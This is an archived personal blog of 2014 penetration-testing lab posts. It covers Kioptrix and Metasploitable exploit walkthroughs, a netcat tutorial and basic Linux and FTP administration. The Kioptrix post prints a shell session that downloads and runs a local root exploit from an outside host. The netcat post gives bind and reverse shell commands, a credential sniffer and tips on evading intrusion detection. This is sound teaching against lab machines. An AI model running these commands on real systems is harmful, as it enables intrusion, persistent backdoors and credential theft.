Wednesday, May 28, 2014

Moving to Octopress



I'm going to stop posting on this blog because I started a new one using Octopress. I will redo some posts from scratch and import others from here before moving on.


You can find my new blog here:

http://chousensha.github.io/

Wednesday, April 30, 2014

Pentest lab - Kioptrix Level 1

For today's pentest lab, I will use the Kioptrix Level 1 virtual machine as the target. Kioptrix Level 1 is the first in a series of vulnerable machines for beginner penetration testing practice.

 First, to get its IP address, I  had to ping sweep the subnet by using:

nmap -sP 192.168.127.0/24

The target's IP address is 192.168.127.153

Results for the nmap scan follow:

nmap -sS -sV 192.168.127.153

Starting Nmap 6.45 ( http://nmap.org ) at 2014-04-24 12:59 EDT
Nmap scan report for 192.168.127.153
Host is up (0.00017s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open  status      1 (RPC #100024)

So. there are a couple of vulnerable services we can exploit. Let's search for Samba exploits, as it's likely to find something useful.



I chose the exploit/linux/samba/trans2open exploit, which I successfully used before. And the payload to go with it will be a standard reverse shell: linux/x86/shell/reverse_tcp

The other options I had to specify were the RHOST (target) and LHOST (local machine). Then just type exploit and let the magic unfold:



Hooray! The box is ours.


Now let's try that outdated Apache server. Here are the results from a Nikto scan against it:

nikto -host 192.168.127.153
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.127.153
+ Target Hostname:    192.168.127.153
+ Target Port:        80
+ Start Time:         2014-04-30 13:10:26 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users, 'not found' for non-existent users).
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 7355 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time:           2014-04-30 13:10:47 (GMT-4) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

In bold is the interesting bit we'll try to exploit. Let's look at the exploit description:

mod_ssl < 2.8.7 is vulnerable to a remotely exploitable buffer overflow when attempting to cache SSL sessions. This allows for remote code execution, and the modification of any file on the system.

Alright, the exploit is available at http://www.exploit-db.com/exploits/764/

A little modification is necessary because the exploit is old. If we try to compile right away we will get a bunch of errors. So let's make the changes:

- if you don't already have it, install the libssl-dev library:
 apt-get install libssl-dev

- add the following lines in the C source code:
#include <openssl/rc4.h>

#include <openssl/md5.h>

- search for wget in the source and replace the URL with the newer one:
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

- in the get_server_hello function, change the declaration unsigned char *p, *end; to const unsigned char *p, *end;

Now we can compile the exploit:
gcc -o openfuck openfuck.c -lcrypto

Now, if you run it, you will see a range of supported offsets. From our previous scan, we know those applicable to our target are the redhat 1.3.20 versions. We can manually search for them in the offsets or run the following:
./openfuck | grep -i redhat | grep "1.3.20"

This will give us 2 offsets:
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2


So, let's try it out:
./openfuck 0x6a 192.168.127.153 443

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fe500
Ready to send shellcode
Spawning shell...
Good Bye!

Ok, that one didn't work. Let's try the other one:
./openfuck 0x6b 192.168.127.153 443

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fc4e8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--14:29:59--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

    0K ...                                                   100% @   3.74 MB/s

14:30:00 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

[+] Attached to 1444
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root

And again, we have a shell  \@/

Ok, this was the first level in the Kioptrix series. Here's a cookie till next time:

You're a card which will have to be dealt with.

Wednesday, April 16, 2014

Pentest lab - Metasploitable


Today I am going to walk through exploiting the Metasploitable vulnerable machine. Metasploitable is a deliberately vulnerable Linux machine that can be used to practice penetration testing.

In my lab environment, the IP of the attacker machine is 192.168.127.133, and the victim machine is 192.168.127.154.

So, let's begin by port scanning the target and see what's available I will perform a SYN scan with service and OS detection:



Whoaa! We can see there are plenty of services just waiting to receive some attention. Well, this is meant to be exploitable from all angles to facilitate learning and exercise. And by the way, I'll ignore that cozy root shell on port 1524. Let's just get our own!

Metasploit
Since we saw there are 2 FTP servers running, let's launch Metasploit and search for a suitable exploit.

msf > search vsftpd
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

Excellent! We have a ready exploit for the version of vsftpd that's listening on our target. Let's select it and look at its requiremenets:

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


Let's look at the available payloads:
msf exploit(vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   Name               Disclosure Date  Rank    Description
   ----               ---------------  ----    -----------
   cmd/unix/interact                   normal  Unix Command, Interact with Established Connection


Now let's set the remote host to the IP of the victim and the payload to the cmd/unix/interact payload, and review our configuration:

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154
RHOST => 192.168.127.154
msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.127.154  yes       The target address
   RPORT  21               yes       The target port


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


All set! Now let's see if we can get in:

msf exploit(vsftpd_234_backdoor) > exploit

[*] The port used by the backdoor bind listener is already open
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.127.133:57347 -> 192.168.127.154:6200) at 2014-04-15 13:44:16 -0400

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux


Woohoo! We're in and we're root! The machine is now at our mercy! But for now, let's just get back to the initial board and pick another service to exploit, this time using Armitage.

Armitage
On the Armitage window, let's first add our target to the workspace. Go to the Hosts tab and select Add Hosts, then enter the IP of the target. The workspace will look like this:



Let's take a shortcut and go to the Attacks tab and select Find Attacks. After the analysis is complete, we can right-click the host and see a list of attacks that might work on the target, split into service categories, like SSH, HTTP, Samba etc. This time we'll go for the IRC service, using the unreal_ircd_3281_backdoor exploit. Launch it and we can see we've successfully gained a session:





So here we went through using Metasploit and Armitage to hack a vulnerable machine. Of course, you won't (hopefully) find such easy targets in the wild, but this is a good exercise.

Today's cookie:

You will be a winner today.  Pick a fight with a four-year-old.

Wednesday, April 2, 2014

Getting system information on Linux

Today we're going to look at how to use various Linux utilities to gain information about the system. A quick way to get the picture of the underlying kernel is via the uname command. With the -a switch, it will print all information. On my Kali machine, the output is the following:

uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

And to break it up in the components:
Kernel name: Linux
Network node hostname: kali
Kernel release: 3.12-kali1-amd64
Kernel version: #1 SMP Debian 3.12.6-2kali1 (2014-01-06)
Machine architecture: x86_64
Operating system: GNU/Linux

Now we might want to see the processes that are running on the system. There are several ways to do this.

We can use ps to get a snapshot of the current processes. Here's how the output will look (note that it's not the complete list of all the processes because I doubt you would want to scroll down that much. The -e flag stands for all processes and I piped the output to tail to get only the last 10 in the list):

ps -e | tail
 9732 ?        00:00:16 firefox
 9735 ?        00:00:13 idle-python2.7
 9749 ?        00:00:00 at-spi-bus-laun
 9755 ?        00:00:18 python2.7
 9788 ?        00:00:01 gedit
 9920 ?        00:00:00 kworker/0:0
 9925 pts/0    00:00:00 less
 9926 ?        00:00:00 kworker/0:1
 9927 pts/1    00:00:00 ps
 9928 pts/1    00:00:00 tail

Another way is to use top. It produces a dynamic view of the processes that keeps updating as you look at it:



Some of the fields are self-explanatory, like the PID, user and command line field, but others may require additional explanation:
PR refers to the scheduling priority of the task. We can see the majority having a low priority of 20, but there is also a rt, which means it's a real time priority
NI represents the nice value. Negative means higher priority, whereas positive is a lower priority
VIRT is the amount of the virtual memory used by the process
RES is the resident memory size, showing the amount of physical memory that the process is really using
SHR is the shared memory size (memory that could be shared with other processes)
S refers to the status of the process. In this case, we have an R for a running process and an S for the rest of sleeping processes
%CPU - CPU usage
%MEM - memory usage
TIME+ refers to the CPU time in hundredths of a second

To see the disk space usage, we can use df with the -h (for human readable flag):



If we want to know how long the system has been running and to see the currently logged on users, we can use the w command:



Here we can see the local time, the uptime, how many users are logged on and the system load for the past 1, 5 and 15 minutes. For every user, we can look at potentially interesting things, such as  the address they're logging in from (in this case coming from the localhost), the time of login, the idle time or the command line of their current process.

And I think I'll finish with a random fortune cookie from the awesome fortune program:

You will be winged by an anti-aircraft battery.

Wednesday, February 26, 2014

Touring the Linux directories

The Linux directory tree can be a bit daunting, to say the least, for those coming from Windows backgrounds and accustomed to visiting only Documents and Program Files directories. So I thought about summarizing the important directories in the filesystem hierarchy. Here it goes.

/ This is the root directory, the starting point for the filesystem tree. This is not the same as the root user's home directory, which is /root. Only the root user has write privileges inside this directory.

/boot Contains static files needed for booting. The boot loader, the initial RAM disk image and the Linux kernel are among the most important things you'll find here.

/bin Binaries (executables) for the common utilities that are used by all users on the system (such as ls, grep, shells etc.) are located here. The programs stored here need to be available in single user mode.

/dev Device files associated with physical hardware are found here. There are some virtual devices here that don't correspond to physical devices, like /dev/random, that creates random numbers, and the (in)famous black hole, /dev/null.

/etc In here there are system-wide configuration files for all programs. Scripts for starting / stopping services are also found here. This is a very important directory, since the configuration of the entire system depends on it. That's why it should be backed up on a regular basis, to save all the configuration details in case something bad might happen that requires re-installation. The configuration files are text files that can be edited manually.

/home The home directories for all users reside here. Every user keeps his data and user defined configuration files here. Users have supreme power and privileges inside their home directory.

/lib Here you can find the shared libraries (the equivalents of Windows DLLs) required by the core system binaries. The /modules subdirectory contains kernel modules (drivers that can be loaded and unloaded as needed.

/media Mount points for removable media, such as CDs, DVDs, USBs, are found in this directory.

/mnt This is a generic mount point for mounting temporary filesystems.

/opt This directory holds optional software packages and third party applications that aren't found in a default Linux installation, such as commercial software.

/proc This is a pseudo filesystem that contains information about the system resources and running processes.

/root This is the home directory for the root user.

/sbin Here you can find system binaries that are used for system maintenance and administrative tasks, like ifconfig, fdisk etc.

/tmp In here you can find temporary files that are normally deleted when the system restarts. Applications may store here some files needed for their operation, that can get deleted on the fly by utilities such as cron jobs when they are no longer required.

/lost+found In case of a system crash, the system will do a filesystem check at the next boot, attempting to recover files that got corrupted during the crash. These files will be placed here. Note that there is a high change the files aren't completely recovered.

/usr Non critical user binaries are placed here, along with their documentation and libraries. This is the largest directory on a Linux system. In the /usr/local directory you can find locally compiled software. The /usr/src directory holds kernel source files and headers.

/var This directory holds variable files that are expected to grow in size. Various types of files can be found here, such as log files, databases, mail, print queues, lock files and other runtime files.

/srv Contains data for services provided by servers.

Over and out

Tuesday, February 25, 2014

Tool of the day - Netcat

In this tutorial I will cover some of the uses of netcat, known as the "TCP/IP Swiss army knife". Netcat is a very powerful and versatile tool that can be used in diagnosing network problems or penetration testing.

Banner grabbing
First, let's see what we can glean from using netcat to connect to an FTP server:

nc 192.168.127.130 21
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 17:23. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.

As you can see, there is some information available about the server, including the type of the FTP server, the number of logged in users and the maximum number allowed, the local time of the system, the fact that anonymous logins are disallowed, and that it's possible to connect via IPv6. Depending on the configuration of a server, the information disclosed could be pretty detailed, or sparse and misleading, as to not give away too much info to a potential attacker.

Now let's try banner grabbing from an HTTP server by sending a HEAD request:

nc 192.168.127.130 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 21 Feb 2014 17:51:58 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Tue, 10 May 2011 16:01:46 GMT
ETag: "27bda-b1-4a2ee12abae80"
Accept-Ranges: bytes
Content-Length: 177
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

This information can vary as well, this time the bit we're interested in is the server version and the operating system. Sometimes there is more to be discovered, like the PHP version that powers the server etc.

Chat server
Let's now look at how easy it is to use netcat for a very simple chat server.

nc -v -l -p 4444
listening on [any] 4444 ...

In the above command I told netcat to listen on port 4444. The -v flag is for more verbose output.

Now, from a different terminal window (or machine), connect to that port with netcat and start typing stuff. You will see the output being echoed in the server window. If you type stuff back from the server window, you will see it printed in the client window:



File transfer
To transfer files between 2 machines, netcat can be used in the following way. On one computer, let's tell netcat to listen on a port and push a file to the socket:

nc -v -l -p 4444 < confidential.txt
listening on [any] 4444 ...

Bascially, this takes the file and pushes it on the listening socket, ready to be pulled by a client that connects to that port. Now, from another computer, connect to the listener and redirect whatever you receive to a file:

nc -v 192.168.127.130 4444 > transfer.txt
192.168.127.130: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.127.130] 4444 (?) open

Now we can check that we have a new file named transfer.txt which has the same contents as the file that was offered by the server, confidential.txt. Note that netcat doesn't give any indication of the transfer progress or its completion.

Port scanning
Netcat can also be used as a very basic port scanner:

nc -v -n -z -w1 192.168.127.130 1-1000
(UNKNOWN) [192.168.127.130] 80 (www) open
(UNKNOWN) [192.168.127.130] 21 (ftp) open

Here we scanned the range of ports between 1 and 1000 and we determined that ports 21 and 80 are open. The -n switch disables DNS lookup, the -z is for not sending any data, thus reducing the time it requires to talk to the ports. And the -w1 tells netcat to wait 1 second before determining that a connection occurred. This is a TCP only scan. For UDP, add the -u flag.

Port forwarding
Netcat's port forwarding ability could be useful in a variety of scenarios, from bypassing traffic restrictions in a secure environment to using a proxy (or more) to conduct a MITM attack.
For this example, I will be using the following:

  • Attacker machine: 192.168.127.133
  • Relaying machine: 192.168.127.130
  • Victim machine: 192.168.127.129
On the relay, use the following command:

nc -l -p 4444 -c "nc 192.168.127.129 22"

This sets up a listener on port 4444. The -c flag specifies a shell command to be executed by the /bin/sh shell (if the system doesn't have such a shell, you can use the -e flag to execute a file instead. On a Windows machine, for instance, you could run cmd.exe or a batch file containing your desired commands). So, in the above, the proxy will forward connections it receives on port 4444 to the victim machine on port 22.

From the attacker machine, connect to the proxy:

nc 192.168.127.130 4444
SSH-2.0-OpenSSH_5.9

Bingo! We can see that there is an SSH server waiting for someone to log in. On the victim machine, let's confirm that we have a connection:

netstat -antp | grep 22
tcp        0      0 192.168.127.129:22      192.168.127.130:43583   ESTABLISHED -

So the victim is unaware of the real source of the connection! It sees the connection as originating from the relay machine.

Remote backdoor - Bind shell
Once an attacker has exploited a victim machine, he may want to return afterwards and have a nice, cozy backdoor waiting for him. If there is a direct connection between the 2 machines, netcat can be used to bind a shell to a port and wait for the attacker to connect. The shell will have the privileges of the user who spawned it, so it's best to have administrative privileges for full power over the system.

On the machine you want to backdoor, use netcat to bind the shell:

nc -v -l -p 5555 -e /bin/bash

Now from another machine, use netcat to connect to it on that port and your shell will be waiting for you. Keep in mind there won't be any prompt or anything like that. Just type commands in the terminal.



Reverse shell
The most common way to use netcat is to spawn a reverse shell that connects back to the atacker. This is useful in case the victim is behind a NAT or in a protected internal network that can't be directly accessed from the internet.

So, let's get on with it and start a listener on the attacking machine:

nc -v -l -n -p 5555
listening on [any] 5555 ...

Now let's connect from the victim machine:

nc -v -n 192.168.127.130 5555 -e /bin/bash
(UNKNOWN) [192.168.127.130] 5555 (?) open

Basically, the victim machine sent the attacker a shell, and now we control the victim again. I used the -n switch as well to disable all those pesky inverse lookups.



Honeypot
It is possible to set up a very simple honeypot using netcat. I grabbed the banner for the Pure-FTPd server and copied it to a file called banner.txt. Now start listening on port 21 and serve that banner for visitors:

nc -vv -l -n -p 21 < banner.txt | cat > log.txt

The additional -v flag is for extra verbosity and the data received is piped to a log file. Now, from another machine, let's connect to port 21 and see what we get:




Here we're seeing the familiar FTP banner even though there's no real FTP server running. We send some random data and now let's check on the other machine that this data has been logged:



Of course, you might want netcat to keep on listening and not stop after every connection. Consider writing a script for that or look into the version that has the -L (Listen Harder) option.

Sniffer
Netcat can also be used to sniff traffic from a specific port. One machine has Pure-FTPd running on port 21. On the same machine, we'll use netcat to listen on some other port and execute a script:

nc -l -p 4444 -n -vv -e /root/sniff
listening on [any] 4444 ...

The script file contains the following:

#!/bin/bash
nc -o /root/log 192.168.127.130 21

The -o flag is for hex dumping the traffic. This script tells netcat to hex dump the traffic that comes to port 21 and write it to the /root/log file. And on the command line we used netcat to listen on port 4444 and call this script. Now let's try connecting from another machine to the port that netcat listens on:


Since this is a test lab and I already knew about the FTP server being sniffed, I tried to log in directly.
Let's check what got logged on the other machine:

cat /root/log | more


There we go! We have a file containing the traffic to port 21, and we can see the attempt to log in has failed with the given credentials. But when a legitimate user will log in, we will have the right username and password.

I hope by now you realize how powerful netcat can be and its usefulness in a variety of scenarios. Of course, during a real penetration test or uhm, hack attempt, you will probably want to encrypt your traffic with cryptcat or something, since by now, all the IDS vendors are including signatures for netcat. Also, the examples were kept simple for ease of understanding, but in the real world netcat would be chained together with other tools to create complex and stealthy attacks.





Thursday, February 20, 2014

Getting Pure-FTPd up and running

In this tutorial I'll present the steps I took to set up Pure-FTPd on a Backtrack system. There might be slight differences for other distributions, particularly where file names and locations are concerned.

First, a brief description of Pure-FTPd, from the official documentation:

Pure-FTPd is a fast, production-quality, standard-conformant FTP server, based upon Troll-FTPd.
Features include chroot()ed and/or virtual chroot()ed home directories, virtual domains, built-in 'ls', anti warez system, configurable ports for passive downloads, FXP protocol, bandwidth throttling, ratios,
LDAP / MySQL / PostgreSQL-based authentication, fortune files, Apache-like log files, fast standalone mode, text / HTML / XML real-time status report, virtual users, virtual quotas, privilege separation, SSL/TLS and more.

Something to keep in mind is that, unlike other FTP servers, Pure-FTPd is controlled through command line arguments, rather than a configuration file. The latter is possible, but I won't cover it here.

Before going into the commands, I want to explain the concept of virtual users. These are FTP-only accounts that don't have to exit on the system, since they're used only for FTP. They have to be associated with a system user, so a good practice which I'll follow here is to create a dedicated system account just for FTP. Thousands of virtual users can share the same system user, as long as they all are chrooted and they have their own home directory.

Now, on to getting the server ready to..serve. First, create a group for FTP activities:

  • groupadd ftpgroup
Now, create a system user that will be used for FTP only:

  • useradd -g ftpgroup -d /dev/null -s /etc ftpuser
The name of the user is ftpuser. The -g flag associates it with the previously created group. Since I don't want the user to have a home directory or a login shell for security reasons, the -d option nukes the home directory by assigning it to /dev/null, and -s option sets /etc as a  fake shell.

Next, make a directory for FTP users:

  • mkdir /home/ftpusers
Now we want to create our first virtual user. First, make a home directory for that user (note that there is a switch to automate this, but I use the manual approach here):

  • mkdir /home/ftpusers/testuser
The pure-pw utility is what we'll use for managing virtual users. We could manually edit files instead, but who would want that when there's a nice, clean way?

  • pure-pw useradd testuser -u ftpuser -d /home/ftpusers/testuser
This creates a virtual user named testuser, with the same UID as ftpuser, and that is chrooted to its home directory.

Next step is to commit all the virtual users changes to a PureDB file. Without committing changes to the database, the accounts won't be activated, and unusable.

  • pure-pw mkdb
We then have to set up some symbolic links to add PureDB to the authentication methods:

  • ln -s /etc/pure-ftpd/pureftpd.passwd /etc/pureftpd.passwd
  • ln -s /etc/pure-ftpd/pureftpd.pdb /etc/pureftpd.pdb
  • ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB
If you don't need Unix and PAM authentication, you can do the following:
  • echo no > /etc/pure-ftpd/conf/UnixAuthentication
  • echo no > /etc/pure-ftpd/conf/PAMAuthentication
Lastly, change the permissions of /home/ftpusers and its subdirectories to have ftpuser as owner and ftpgroup as group:
  • chown -R ftpuser /home/ftpusers
  • chgrp -R ftpgroup /home/ftpusers
From here on there are a lot of options which you can use to customize your FTP server to suit your needs. As always, a good place to start looking for more advanced options is in the man pages and official documentation.

Saturday, February 15, 2014

Tool of the day - Netstat



Netstat is a very important tool for gathering information about the connections on a machine or troubleshooting network problems. It's a default utility for both Windows and Linux, thus there is no excuse in not getting familiar with it, it's very useful for any system admin, network guy or good old home user that would like to know what really is coming and going to and from his computer.

If ran with no arguments, netstat produses an overwhelming output of all the open sockets in the system. Something like this (note that the output was piped to less and I only show the first page for brevity





A cleaner way to zoom on the information that might be of interest is to use the -p argument to display the PID and the name of the program to which each socket belongs, along with the path.



If we're only interested in the listening sockets, we can use the -l option



And the most comprehensive option is -a, short for all, which combines all the information, showing the listening sockets and the established connections.



Combining options can yield the desired amount of information when we are searching for something specific. For instance, we could combine the -a and -p arguments like this: nestat -ap. Now we can also see which program is associated with all the connections and listening sockets



If we're interested only in the TCP connections:


We can see here a connection to an FTP server

Or if we want to see the TCP connections and the programs associated with them:


Note the -n option, which is used to display the numeric value for addresses and ports, instead of resolving them to their names (IP address instead of host names and port numbers instead of names). An example is that we're seeing port 80 instead of http. We can see there's an FTP server running, among other things.

Netstat can be very handy in a variety of scenarios. If we wanted to harden a server, we could go through netstat output and see what's listening, and if we really need that program. Or, we could discover suspicious connections in the case of a compromised machine. If nothing else, we could impress the less tech savvy persons around us with the dark magic of the command line and mysterious output on the screen that makes sense to us. It pays to get familiar with this utility, since there will certainly be occasions to use it.